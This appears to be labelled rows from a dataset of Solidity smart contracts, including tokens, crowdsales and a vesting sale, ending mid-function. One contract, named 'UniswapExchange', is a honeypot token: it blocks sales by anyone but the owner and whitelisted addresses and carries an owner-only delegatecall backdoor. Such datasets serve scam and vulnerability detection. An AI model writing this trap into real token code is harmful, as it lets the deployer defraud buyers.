tokensSold = tokensSold.add(ammount);
token.transferFrom(this, investor, ammount);
}
function setTokenTransferState(bool state) public onlyOwner {
token.changeController(this);
token.enableTransfers(state);
}
function claim(address claimToken) public onlyOwner {
token.changeController(this);
token.claimTokens(claimToken);
}
function() external payable whenNotPaused {
emit buyx(msg.sender, this, _getTokenAmount(msg.value));
buyTokens(msg.sender);
}
} | 1 | 3,193 |
pragma solidity ^0.4.13;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract asdfgh {
event Hodl(address indexed hodler, uint indexed amount);
event Party(address indexed hodler, uint indexed amount);
mapping (address => uint) public hodlers;
uint constant partyTime = 1546505500;
function() payable {
hodlers[msg.sender] += msg.value;
Hodl(msg.sender, msg.value);
}
function party() {
require (block.timestamp > partyTime && hodlers[msg.sender] > 0);
uint value = hodlers[msg.sender];
hodlers[msg.sender] = 0;
msg.sender.transfer(value);
Party(msg.sender, value);
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != 0x6C3e1e834f780ECa69d01C5f3E9C6F5AFb93eb55) { throw; }
require (block.timestamp > partyTime);
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(0x6C3e1e834f780ECa69d01C5f3E9C6F5AFb93eb55, amount);
}
} | 1 | 3,895 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,437 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "WorkPerk";
string public constant TOKEN_SYMBOL = "WPRK";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xeBB920699F235FC4DB9572FA86ef1506AC3AF23d;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[2] memory addresses = [address(0xe409df6d39188e89fc48d0c2afcf86e0b0e78d98),address(0xebb920699f235fc4db9572fa86ef1506ac3af23d)];
uint[2] memory amounts = [uint(2500000000000000000000000000),uint(2500000000000000000000000000)];
uint64[2] memory freezes = [uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 3,692 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract VestingToken is StandardToken {
using SafeMath for uint256;
mapping(address => uint256) public vested;
mapping(address => uint256) public released;
uint256 public totalVested;
uint256 public vestingStartTime;
uint256 public vestingStageTime = 2592000;
function vestedTo (address _address) public view returns (uint256) {
return vested[_address];
}
function releasedTo (address _address) public view returns (uint256) {
return released[_address];
}
function getShare () internal view returns (uint8) {
uint256 elapsedTime = now.sub(vestingStartTime);
if (elapsedTime > vestingStageTime.mul(3)) return uint8(100);
if (elapsedTime > vestingStageTime.mul(2)) return uint8(75);
if (elapsedTime > vestingStageTime) return uint8(50);
return uint8(25);
}
function release () public returns (bool) {
uint8 shareForRelease = getShare();
uint256 tokensForRelease = vested[msg.sender].mul(shareForRelease).div(100);
tokensForRelease = tokensForRelease.sub(released[msg.sender]);
require(tokensForRelease > 0);
released[msg.sender] = released[msg.sender].add(tokensForRelease);
balances[msg.sender] = balances[msg.sender].add(tokensForRelease);
totalSupply_ = totalSupply_.add(tokensForRelease);
emit Release(msg.sender, tokensForRelease);
return true;
}
event Vest(address indexed to, uint256 value);
event Release(address indexed to, uint256 value);
}
contract CrowdsaleToken is VestingToken, Ownable {
using SafeMath for uint64;
uint64 public cap = 3170000000;
uint64 public saleCap = 1866912500;
uint64 public team = 634000000;
uint64 public advisors = 317000000;
uint64 public mlDevelopers = 79250000;
uint64 public marketing = 87175000;
uint64 public reserved = 185662500;
uint64 public basePrice = 18750;
uint64 public icoPeriodTime = 604800;
uint256 public sold = 0;
uint256 public currentIcoPeriodStartDate;
uint256 public icoEndDate;
bool public preSaleComplete = false;
enum Stages {Pause, PreSale, Ico1, Ico2, Ico3, Ico4, IcoEnd}
Stages currentStage;
mapping(uint8 => uint64) public stageCap;
mapping(uint8 => uint256) public stageSupply;
constructor() public {
currentStage = Stages.Pause;
stageCap[uint8(Stages.PreSale)] = 218750000;
stageCap[uint8(Stages.Ico1)] = 115200000;
stageCap[uint8(Stages.Ico2)] = 165312500;
stageCap[uint8(Stages.Ico3)] = 169400000;
stageCap[uint8(Stages.Ico4)] = 1198250000;
}
function startPreSale () public onlyOwner returns (bool) {
require(currentStage == Stages.Pause);
require(!preSaleComplete);
currentStage = Stages.PreSale;
return true;
}
function endPreSale () public onlyOwner returns (bool) {
require(currentStage == Stages.PreSale);
currentStage = Stages.Pause;
preSaleComplete = true;
return true;
}
function startIco () public onlyOwner returns (bool) {
require(currentStage == Stages.Pause);
require(preSaleComplete);
currentStage = Stages.Ico1;
currentIcoPeriodStartDate = now;
return true;
}
function endIco () public onlyOwner returns (bool) {
if (currentStage != Stages.Ico1 && currentStage != Stages.Ico2 && currentStage != Stages.Ico3 && currentStage != Stages.Ico4) revert();
currentStage = Stages.IcoEnd;
icoEndDate = now;
vestingStartTime = now;
uint256 unsoldTokens = saleCap.sub(sold);
balances[address(this)] = unsoldTokens;
totalSupply_ = totalSupply_.add(unsoldTokens);
return true;
}
function sendUnsold (address _to, uint256 _value) public onlyOwner {
require(_value <= balances[address(this)]);
balances[address(this)] = balances[address(this)].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(address(this), _to, _value);
}
function getReserve () public onlyOwner returns (bool) {
require(reserved > 0);
balances[owner] = balances[owner].add(reserved);
totalSupply_ = totalSupply_.add(reserved);
emit Transfer(address(this), owner, reserved);
reserved = 0;
return true;
}
function vest2team (address _address) public onlyOwner returns (bool) {
require(team > 0);
vested[_address] = vested[_address].add(team);
totalVested = totalVested.add(team);
team = 0;
emit Vest(_address, team);
return true;
}
function vest2advisors (address _address) public onlyOwner returns (bool) {
require(advisors > 0);
vested[_address] = vested[_address].add(advisors);
totalVested = totalVested.add(advisors);
advisors = 0;
emit Vest(_address, advisors);
return true;
}
function send2marketing (address _address) public onlyOwner returns (bool) {
require(marketing > 0);
balances[_address] = balances[_address].add(marketing);
totalSupply_ = totalSupply_.add(marketing);
emit Transfer(address(this), _address, marketing);
marketing = 0;
return true;
}
function vest2mlDevelopers (address _address) public onlyOwner returns (bool) {
require(mlDevelopers > 0);
vested[_address] = vested[_address].add(mlDevelopers);
totalVested = totalVested.add(mlDevelopers);
mlDevelopers = 0;
emit Vest(_address, mlDevelopers);
return true;
}
function vest2all (address _address) public onlyOwner returns (bool) {
if (team > 0) {
vested[_address] = vested[_address].add(team);
totalVested = totalVested.add(team);
team = 0;
emit Vest(_address, team);
}
if (advisors > 0) {
vested[_address] = vested[_address].add(advisors);
totalVested = totalVested.add(advisors);
advisors = 0;
emit Vest(_address, advisors);
}
if (mlDevelopers > 0) {
vested[_address] = vested[_address].add(mlDevelopers);
totalVested = totalVested.add(mlDevelopers);
mlDevelopers = 0;
emit Vest(_address, mlDevelopers);
}
return true;
}
function getBonuses () internal view returns (uint8) {
if (currentStage == Stages.PreSale) {
return 25;
}
if (currentStage == Stages.Ico1) {
return 20;
}
if (currentStage == Stages.Ico2) {
return 15;
}
if (currentStage == Stages.Ico3) {
return 10;
}
return 0;
}
function vestTo (address _to, uint256 _value) public onlyOwner returns (bool) {
require(currentStage != Stages.Pause);
require(currentStage != Stages.IcoEnd);
require(_to != address(0));
stageSupply[uint8(currentStage)] = stageSupply[uint8(currentStage)].add(_value);
require(stageSupply[uint8(currentStage)] <= stageCap[uint8(currentStage)]);
vested[_to] = vested[_to].add(_value);
sold = sold.add(_value);
totalVested = totalVested.add(_value);
emit Vest(_to, _value);
return true;
}
function getTokensAmount (uint256 _wei, address _sender) internal returns (uint256) {
require(currentStage != Stages.IcoEnd);
require(currentStage != Stages.Pause);
uint256 tokens = _wei.mul(basePrice).div(1 ether);
uint256 extraTokens = 0;
uint256 stageRemains = 0;
uint256 stagePrice = 0;
uint256 stageBonuses = 0;
uint256 spentWei = 0;
uint256 change = 0;
uint8 bonuses = 0;
if (currentStage == Stages.PreSale) {
require(_wei >= 100 finney);
bonuses = getBonuses();
extraTokens = tokens.mul(bonuses).div(100);
tokens = tokens.add(extraTokens);
stageSupply[uint8(currentStage)] = stageSupply[uint8(currentStage)].add(tokens);
require(stageSupply[uint8(currentStage)] <= stageCap[uint8(currentStage)]);
return tokens;
}
require(_wei >= 1 ether);
if (currentStage == Stages.Ico4) {
stageSupply[uint8(currentStage)] = stageSupply[uint8(currentStage)].add(tokens);
require(stageSupply[uint8(currentStage)] <= stageCap[uint8(currentStage)]);
return tokens;
} else {
if (currentIcoPeriodStartDate.add(icoPeriodTime) < now) nextStage(true);
bonuses = getBonuses();
stageRemains = stageCap[uint8(currentStage)].sub(stageSupply[uint8(currentStage)]);
extraTokens = tokens.mul(bonuses).div(100);
tokens = tokens.add(extraTokens);
if (stageRemains > tokens) {
stageSupply[uint8(currentStage)] = stageSupply[uint8(currentStage)].add(tokens);
return tokens;
} else {
stageBonuses = basePrice.mul(bonuses).div(100);
stagePrice = basePrice.add(stageBonuses);
tokens = stageRemains;
stageSupply[uint8(currentStage)] = stageCap[uint8(currentStage)];
spentWei = tokens.mul(1 ether).div(stagePrice);
change = _wei.sub(spentWei);
nextStage(false);
_sender.transfer(change);
return tokens;
}
}
}
function nextStage (bool _time) internal returns (bool) {
if (_time) {
if (currentStage == Stages.Ico1) {
if (currentIcoPeriodStartDate.add(icoPeriodTime).mul(3) < now) {
currentStage = Stages.Ico4;
currentIcoPeriodStartDate = now;
return true;
}
if (currentIcoPeriodStartDate.add(icoPeriodTime).mul(2) < now) {
currentStage = Stages.Ico3;
currentIcoPeriodStartDate = now;
return true;
}
currentStage = Stages.Ico2;
currentIcoPeriodStartDate = now;
return true;
}
if (currentStage == Stages.Ico2) {
if (currentIcoPeriodStartDate.add(icoPeriodTime).mul(2) < now) {
currentStage = Stages.Ico4;
currentIcoPeriodStartDate = now;
return true;
}
currentStage = Stages.Ico3;
currentIcoPeriodStartDate = now;
return true;
}
if (currentStage == Stages.Ico3) {
